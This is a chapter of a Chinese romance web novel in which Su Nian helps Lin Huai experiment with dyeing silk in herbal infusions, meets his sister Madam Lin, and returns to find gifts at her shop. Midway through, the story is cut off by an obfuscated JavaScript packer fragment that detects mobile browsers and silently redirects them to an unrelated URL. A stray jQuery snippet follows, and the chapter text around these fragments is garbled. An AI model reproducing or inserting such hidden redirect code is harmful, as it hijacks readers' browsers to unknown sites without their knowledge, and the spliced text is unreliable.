苏念以为林淮是来谈生意的,于是拿出一副公事公办的样子,但到前厅的时候,发现林淮并未带随从,只有他一个人坐在椅子上,慢吞吞的喝茶。
“林公子。”苏念过去打招呼。
林淮也起身与苏念施礼,苏念想请他坐,被林淮拒绝了:“我今日来,是有些事情,想要麻烦苏娘子。”
“请讲。”锦和楼现在是宝香行最大的客户,她对林淮自然要客气几分了。
林淮听见这话,便示意苏念看向桌案,桌案上放着一个巴掌大的锦盒,随着林淮打开,里面是一缕素白生丝。
“前些时日我偶然翻起古书,偶然看见一桩新奇的法子,书上说,世间不少香草既可碾碎入香,榨出汁液亦可染色。”
林淮的手指在那缕生丝上拂过,语气温和:“我想试一试,可我只通晓染绸,香材性情却摸不透,因此,想向娘子讨教一二。”
“这倒是个好法子。”苏念思索片刻:“这样织成的布料,本身便带有草木原生的淡香,此后熏制香料,也是锦上添花。”
“正是如此。”林淮见苏念赞同他的想法,语气更加轻松了:“那不知道娘子此刻可否同我往锦和楼一趟,我取些坯丝,我们试一试?”
他说完这话,又急急忙忙补充:“娘子放心,无论成不成,今日定不会白白劳烦娘子一趟。”
苏念的确有些犹豫,不过她也不是犹豫报酬,而是如今秦大叔没来,若是她在走了,铺子里无人照料。
想到这儿,苏念便回头去看铺子,正巧看到清远站在柜台后面看她,见她目光挪过来,就冲她点点头,让她放心。
苏念又回过头,眼前的林淮也望着她,一副虚心求教的样子。
苏念有些慌忙的躲开林淮的目光,那双眼睛可怜兮兮的,真的很难让人拒绝。
“说起来,我自己尝试也无妨,只是这其中关窍我实在不懂,怕残留气息发酸,又怕香材具有药性损坏丝料。”
林淮说道这儿,浅浅的叹了口气:“因此,我也不敢贸然尝试,但我知晓娘子调香制丸事物繁忙,若是眼下很忙,过几日得闲再说也使得。”
苏念见林淮的话说到这个份儿上了,自己在拒绝,只怕不好,便嘱咐清远几句,又换了衣服,跟林淮一同往锦和楼走去。
安阳城本就不大,宝香行到锦和楼路过一段热闹的集市,街边各式商铺摊点,往来百姓说说笑笑,很是热闹。
苏念往日头往库房里一扎,就是制香,倒也没什么心思逛集市,今日难得出来,很快就被周围的物件儿吸引过去了。
苏念原本是没什么喜好的,非要说喜欢什么,因为总是吃不饱,而对于各项吃食十分留意。
而此刻,她的目光一直落在些亮闪闪的小东西上,以前姜暖就喜欢这些,兴许是跟着姜暖的时间久了,她也逐渐对这些东西感兴趣了。
“这是缠枝莲。”裹着头巾的大娘很快注意到了苏念,笑着解释起来:“寓意福寿绵长,这又是个可随身而带的小香盒,最适合你这样的年轻娘子。”
苏念自觉用不上这样精细小巧的东西,便冲大娘笑了笑,继续往前走,很快注意力又被其他的东西吸引去了。
锦和楼的位置靠西,苏念平日也不大往这面来,今日随林淮登门,才发现锦和楼真称的上一个“楼”字。
上下两层,十分阔气。
门口有些招呼客人的小二,瞧见林淮,纷纷拱手施礼,林淮冲他们点点头,带着苏念到了后院。
后院靠窗的木案已经收拾妥当,陶锅和香材也准备好了,案面上还摊着几束坯丝,早有人给理顺妥当,以免侵染时纠缠打结。
苏念以为林淮会亲力亲为,却不想他只是在旁看着,吩咐周围的人用温水浸泡坯丝,这些和苏念没关系,她便去看一侧陶锅。
倒也不用看,只闻味道,便能分辨出是灵香草,此刻已经熬煮出碧色的汁水,随着升腾起的雾气,在后院弥漫出一层清浅的香来。
很快汁水沸腾,林淮此刻才亲自动手,将润好的坯丝放入陶锅之中,又用细竹棍慢慢翻动后,悬在木架上阴干。
“要反复连晒两三次,颜色才能慢慢积出来。”林淮怕苏念着急,便解释道。
苏念并不着急,她反而觉得这挺有意思的,林淮用的坯丝不多,很快便阴干了,又入汁浸染第二遍,甚至第三遍,颜色才缓缓柔和起来。
只不过这样一来,颜色虽然好了,但香味经过晾晒,早已淡了大半,林淮放在鼻下闻了闻,递给苏念时,面色显然并不满意:“不知道是不是熬煮的火候不对。”
苏念接过来,同样轻轻闻了一下:“未必是火候的问题,灵香草的香气本就轻薄,只能附着在表面,但若浸泡的时间过长,锦色发暗,也是不好……”
“哎呦,真是没想到,苏娘子还知晓这些呢!”
苏念正和林淮说着,远处突然传来一个清厉的女声来,苏念抬眼看过去,见林夫人缓缓走了进来。
她冲林夫人轻轻点头问好:“不知夫人在铺子里,未曾与夫人打过招呼,还望夫人海涵。”
“长姐?”林淮看上去并不知道林夫人会出现,赶紧迎了过去,神色似乎还有些慌乱:“你今日不是去万寿观上香?怎的这么早便回来了?”
“我落了件……”林夫人绕开林淮,目光从后院的物件儿上一个个扫过去:“要紧的东西,回来取一下。”
说着,她的眼睛重新看向苏念。
苏念觉得她怪怪的。
“你们忙吧。”林夫人压压手掌,没有多话,顺着旁边的角门去了内院,走了几步,又折返回来,也没有进院子,只是站在门口轻笑起来:“对了,依照我的经验,或许你们把坯丝换成练丝,留香会更久。”
“当然了,练丝很娇脆,可这种新奇玩意儿,原本就是给世家夫人小姐用的,她们可不似咱们这样,整日里做粗活,物件儿娇惯点儿,她们反倒喜欢。”
苏念琢磨了一下,觉得林夫人这话说的很有道理,便去看林淮的神色,谁知道林淮笑得特别勉强,还故意侧步挡在了二人之间。
这林淮,奇奇怪怪的。
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17941306|209730||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>苏念觉得。
已经是午间了,苏念便留在锦和楼用了饭,而后又和林淮试了各样香材,虽说都不尽如人意,但练丝留香的确更醇厚久远。
“时候不早了。”苏念看看天色,发觉自己在锦和楼忙活了一天:“我也当回去看宝香行的生意。”
说完,苏念又安慰林淮:“出新终归不是一件简单的事,要慢慢来,林公子不必过于介怀。”
“有劳苏娘子了。”林淮冲苏念欠欠身,一路送苏念到门口。
“留步。”苏念止住了林淮的脚步:“锦和楼与宝香行相距不远,我自己回去便好。”
两家距离的确不远,相处下来,苏念也算摸清楚了林淮的性子,若是她不这样说,林淮大概会把她送回宝香行。
他是个谦谦公子,此事倒也无妨,只是若裴远那个混蛋回来了,看到林淮,只怕又要围着她闹。
她真是想想就很头疼了。
“那苏娘子一路小心。”相比之下,林淮十分听话,停在锦和楼门口,一直到看不见苏念的身影,才回了铺子。
来的时候周围都是商铺摊贩,回去的时候天色晚了,商铺多数关门,摊贩也都收拾回去了,一路上没什么意思,苏念便回想起林夫人的神色。
她和林淮之间好像在打什么哑谜一样。
苏念认真的想,却也想不出个所以然来。
天灰蒙蒙的暗下来,苏念看看天,怎么还没到秋天吗?
什么时候入秋呢?
安阳城太热了。
回到宝香行的时候,天已经彻底黑下来了,宝香行门头上的灯笼之前坏了,前几日裴远搭着梯子换了新的烛台,此刻将匾额照的暖洋洋的。
苏念抬头端详着那匾额,有点旧也有点小,等在攒一攒银子,换个大些的匾额。
要比石香行还大!
这个念头浮现出来,苏念低低笑了两声,推门进去。
刚进门,就被宝香行里面的情形吓了一跳。
秦大叔和裴远在往日客人休息的椅子上坐着,清远在柜台后面,青盏托着下巴坐在小板凳上,嘴里吧嗒吧嗒的吃着东西。
看上去岁月静好。
若不是柜台前,放了一堆东西的话。
“这什么呀。”苏念扫了两眼,没看出那是什么来,便走过去,将箱子打开。
里面居然是几套女子的成衣,下面还有些上好的布匹,旁侧柜台上,放着一个镂空雕刻缠枝莲的香盒。
瞧见这些东西,苏念便知道是怎么回事了。
“锦和楼的人说,今日辛苦你了。”秦大叔说。
秦大叔撇了一眼裴远,小心翼翼的说。
他不想留下。
他待苏念像女儿一样,可妻子的病还需要裴远帮忙。
所以一旦裴远和苏念打起来,他不知道帮谁。
但他又不敢不留下。
毕竟,他虽然不知道帮谁,但他知道怎么拉架。
拉架这种事总不能指望着清远吧。
清远只会跳起来去打裴远。